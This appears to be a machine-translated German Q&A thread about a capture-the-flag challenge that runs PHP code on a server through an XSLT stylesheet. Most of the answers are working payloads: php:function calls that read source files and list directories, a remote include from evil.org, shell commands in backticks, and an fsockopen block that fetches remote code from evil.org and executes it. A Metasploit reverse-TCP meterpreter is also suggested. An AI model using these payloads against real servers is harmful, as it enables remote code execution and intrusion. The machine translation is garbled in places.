it-swarm.com.de

Führen Sie eine PHP - Funktion aus, die ein Array aus einer XSL-Datei zurückgibt

Es gibt eine Sicherheitsherausforderung, bei der Sie Code auf dem Server ausführen müssen, um ein Flag abzurufen, und dieser Code muss mithilfe eines XSL-Dokuments ausgeführt werden.

Also habe ich einen Weg gefunden, den Server dazu zu bringen, meine eigene XSL-Datei zu interpretieren, und ich habe das php:function Funktionalität zum Ausführen einer PHP-Funktion auf dem Server. Hier ist ein Beispiel für den Code, den ich dem Server gebe:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

Dieser Code gibt den Quellcode der Seite index.php.

Der nächste Schritt besteht darin, scandir auf dem Server auszuführen, um das aktuelle Verzeichnis aufzulisten (um das Flag zu finden). Das Problem, das ich habe, ist, dass die Antwort vom Server nur Array ist, das ist alles, was der Server ausgibt.

Nachdem ich fast 8 Stunden lang gesucht habe, stecke ich fest und kann keine XSL-Funktionalität finden, die das von scandir zurückgegebene Array ausgibt.

Anmerkungen :

  • Die Funktionen, die die Codeausführung ermöglichen (eval, exec, passthru, popen, proc_open, Shell_exec, system) werden vom Server deaktiviert.
  • Ich bin wirklich ein Anfänger (absoluter Neuling) in den Sprachen XSL und XML.
10
Sidahmed

Ich bin auch ein Noob, wenn es um XSL geht. Um ehrlich zu sein, hatte ich keine Ahnung, dass es so mächtig und gefährlich sein könnte. Aber ich werde es trotzdem versuchen.

Ich weiß nicht, ob es möglich ist, die Ausgabe von einer Funktion zu erhalten, die ein Array zurückgibt. Vielleicht können Sie Funktionsaufrufe irgendwie verschachteln? Aber aufgrund meiner mangelnden Kenntnisse über XSL kann ich Ihnen nicht sagen, wie. Lassen Sie uns stattdessen das ganze Problem umgehen. Gibt es eine Möglichkeit, die Verzeichnisliste abzurufen, ohne sich überhaupt mit Arrays befassen zu müssen?

Ruft das Handbuch PHP] auf. Die beiden folgenden Funktionen sehen nützlich aus:

resource opendir ( string $path [, resource $context ] )

Öffnet ein Verzeichnishandle für nachfolgende Aufrufe von closedir(), readdir() und rewinddir().

string readdir ([ resource $dir_handle ] )

Gibt den Namen des nächsten Eintrags im Verzeichnis zurück. Die Einträge werden in der Reihenfolge zurückgegeben, in der sie vom Dateisystem gespeichert werden. [...] Wenn das Verzeichnishandle nicht angegeben ist, wird der letzte von opendir() geöffnete Link angenommen.

Sie können die Ressource also nicht von opendir abrufen, aber da readdir freundlicherweise davon ausgeht, dass Sie von der letzten Ressource lesen möchten, funktioniert sie möglicherweise trotzdem. Ich schlage eine Angriffsdatei mit so etwas vor:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

Bearbeiten: Anscheinend gibt es ein undokumentiertes php:functionString(), das "die Ausgabe automatisch in einen String konvertiert", laut einem Kommentar zu - php.net . Ich bin mir nicht sicher, ob es hilft, aber einen Versuch wert.

11
Anders

xmlns: php = "http://php.net/xsl"

Meine Güte! Ich hatte keine Ahnung, dass die Dokumentation so mächtig ist!

Die Antwort "Array" erhalten Sie, wenn Sie eine implizite Umwandlung eines Arrays in einen String in PHP durchführen. Wickeln Sie einfach Ihren Aufruf zum Scandir in etwas ein, das eine bessere Zeichenfolgendarstellung zurückgibt, wie Conor z.

 implode(',', scandir('/some/where'))

(In Bezug auf den Kommentar - print [_r] wird ihn an stdout senden - aber die XSL-Schnittstelle scheint den Rückgabewert direkt zu lesen).

Angenommen, die Schnittstelle php: function erlaubt dies nicht, dann könnten Sie versuchen, eines der Verzeichnisiteratorobjekte zu verwenden (Objekte haben schönere Serialisierungsmethoden).

Ein anderer Ansatz wäre, einfach PHP Code von einer entfernten Site ...) einzuschließen.

php:function('include','http://evil.org/interrogator.php')
1
symcbean

Wenn Sie über dieses xslt eine beliebige Ausführung von PHP-Code auf dem Server haben, können Sie den Middle Man ausschneiden und einen PHP-Meterpreter mit reverse TCP Verbindung in Metasploit) verwenden und einen Meterpreter auf der Box haben Wenn sich das Flag nicht im Dateinamen, sondern im Inhalt einer Datei befindet, können Sie es einfach herunterladen oder kopieren.

Sie können generate -t ​​raw in msf mit dem konfigurierten PHP-Meterpreter als Modul verwenden und den PHP-Code zum einfachen Kopieren von Pasta abrufen.

0
Tobi Nary

Hinweis: Nachdem ich diese Antwort geschrieben habe, beginne ich zu bezweifeln, ob Sie eine anonyme Funktion über den Angriffsvektor übergeben können, der Ihnen zur Verfügung steht. Ich lasse diese Antwort hier, damit Sie sie ausprobieren können, wenn Sie Lust dazu haben.

Hmm ... angesichts des von Ihnen beschriebenen Szenarios würde ich versuchen, die Kraft von call_user_func() , preg_replace_callback() oder - zu nutzen. usort()1, in Kombination mit einem anonyme Funktion .

Wenn Ihnen eine der Funktionen zur Verfügung steht, die einen Rückruf annehmen, erhalten Sie Zugriff auf fast das gesamte Potenzial von PHP.


Einige Beispiele mit call_user_func():

Beispiel 1
Aufruf von scandir():

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


Beispiel 2
Da dies eine Erfassung der Flag-Einstellung ist, überprüfen Sie, ob Ausführungsoperator aktiviert bleibt (ich bezweifle es, aber es ist einen Versuch wert):

<xsl:value-of select="php:function('call_user_func', function(){
    return `ls -al`;
})"/>



Da call_user_func() das Erstellen eigener Funktionen ermöglicht, erledigen Sie auch andere Aufgaben.

Beispiel 3
Überprüfen Sie die Serverkonfiguration:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


Beispiel 4
Öffnen Sie einen Socket, stellen Sie eine HTTP-Anforderung und fügen Sie das Ergebnis als PHP -Datei über den Datenstrom-Wrapper ein, wodurch Sie möglicherweise umgehen können Einige Sicherheitsbeschränkungen:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

Hinweis: Wenn im obigen Codebeispiel \' Nicht funktioniert, ersetzen Sie es durch &apos;.

Wenn Sie keinen Remote-Inhalt include können, müssen Sie alle erforderlichen Funktionen als Zeichenfolge bereitstellen. Dies ist weniger praktisch, aber nicht unbedingt weniger leistungsfähig.


1 Es gibt andere Funktionen, die eine Rückruffunktion akzeptieren. Wenn also die in dieser Antwort genannten Funktionen blockiert sind, ist es eine Frage von Spur und Fehler, bis Sie eine finden, die verfügbar ist.

0
Jacco